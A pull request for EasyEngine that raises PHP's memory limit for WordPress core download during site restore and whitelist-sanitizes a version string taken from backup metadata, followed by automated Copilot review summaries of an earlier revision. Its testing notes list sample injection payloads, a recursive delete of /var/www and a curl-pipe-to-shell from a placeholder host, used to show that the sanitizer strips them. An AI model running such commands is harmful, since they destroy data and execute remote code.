fix(restore): raise PHP memory_limit for wp core download to prevent OOM

[mrrobot47]

Summary

During ee site restore, wp core download downloads and extracts the WordPress archive in PHP. It ran with the site container's default memory_limit (typically 128M), so on low-RAM hosts the extraction exhausts PHP memory and the restore is OOM-killed — even though the restore otherwise completes.

Root cause

restore_wp() ran the command unguarded:

$assoc_args = [ 'command' => sprintf( 'wp core download --force --version=%s', $wp_version ) ];

This is the only wp core download invocation in EasyEngine that lacks a memory bump. The site-creation path in site-type-wp (WordPress.php) already guards it:

$core_download_command = "php -d memory_limit=256M $(which wp) core download ...";

Fix

Run the restore's core download under a higher PHP memory_limit, using the same mechanism as site creation:

$assoc_args = [ 'command' => sprintf( "php -d memory_limit=256M \$(which wp) core download --force --version=%s", $wp_version ) ];

• Why php -d memory_limit and not WP_CLI_PHP_ARGS: EasyEngine's wp is the phar, invoked directly, so the WP_CLI_PHP_ARGS env var (read only by WP-CLI's bash launcher) would not apply. EE has no WP_CLI_PHP_ARGS usage anywhere; php -d memory_limit=… $(which wp) is the established, proven pattern.
• $(which wp) escaping: the restore runs this via ee shell --command, which (like site creation) executes through bash -c "<cmd>" in the php container (docker_compose_exec(..., shell_wrapper=true)). The $ is escaped so the host shell defers the which wp substitution to the container's bash.
• Value 256M: matches the site-creation path, which is proven sufficient for the same operation on the same hardware (restore↔creation parity).

Command-injection hardening

$wp_version is read from the backup's meta.json and interpolated into the shell command, so a backup carrying a crafted wordpressVersion (e.g. one pulled from remote storage) could inject shell tokens. It is now whitelist-sanitized:

$wp_version = preg_replace( '/[^0-9A-Za-z.\-]/', '', (string) $wp_version );

A whitelist is used rather than escapeshellarg() because the command crosses two shell layers (host sh, then container bash -c "…"), where single-layer escaping is unreliable. [0-9A-Za-z.-] covers every legitimate WordPress version (6.5.2, 6.6-beta2, 6.5.2-RC1); a malformed value reduces to an invalid version string and fails wp core download safely.

Other restore wp-cli calls (wp config set DB_*, wp cache flush) are trivial and left unchanged.

Commits

1. Raise the limit for wp core download (initial approach via WP_CLI_PHP_ARGS).
2. Switch to php -d memory_limit=256M $(which wp) — the proven site-creation mechanism (WP_CLI_PHP_ARGS is ignored by the phar).
3. Sanitize $wp_version from backup metadata before shell use.

(Can be squashed on merge.)

Testing

• php -l src/helper/Site_Backup_Restore.php passes.
• Confirmed the produced command matches the site-creation reference byte-for-byte (php -d memory_limit=256M \$(which wp) core download …) and that both paths run through docker_compose_exec(..., shell_wrapper=true) → bash -c, so the escaped $(which wp) resolves in the container.
• Verified sanitization: legitimate versions pass through; payloads like 6.5; rm -rf /var/www and $(curl evil|sh) are stripped to harmless invalid version strings.

[Copilot]

Pull request overview

This PR aims to prevent out-of-memory failures during ee site restore by increasing the PHP memory_limit used specifically for wp core download, which performs archive extraction in PHP and can exceed typical container defaults on low-RAM hosts.

Changes:

• Prefixes the restore-time wp core download command with WP_CLI_PHP_ARGS='-d memory_limit=512M' to raise PHP’s memory limit for that operation.
• Adds inline rationale comments explaining why the memory bump is necessary and why the env-var prefix works in this execution path.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

Pull request overview

Copilot reviewed 1 out of 1 changed files in this pull request and generated 1 comment.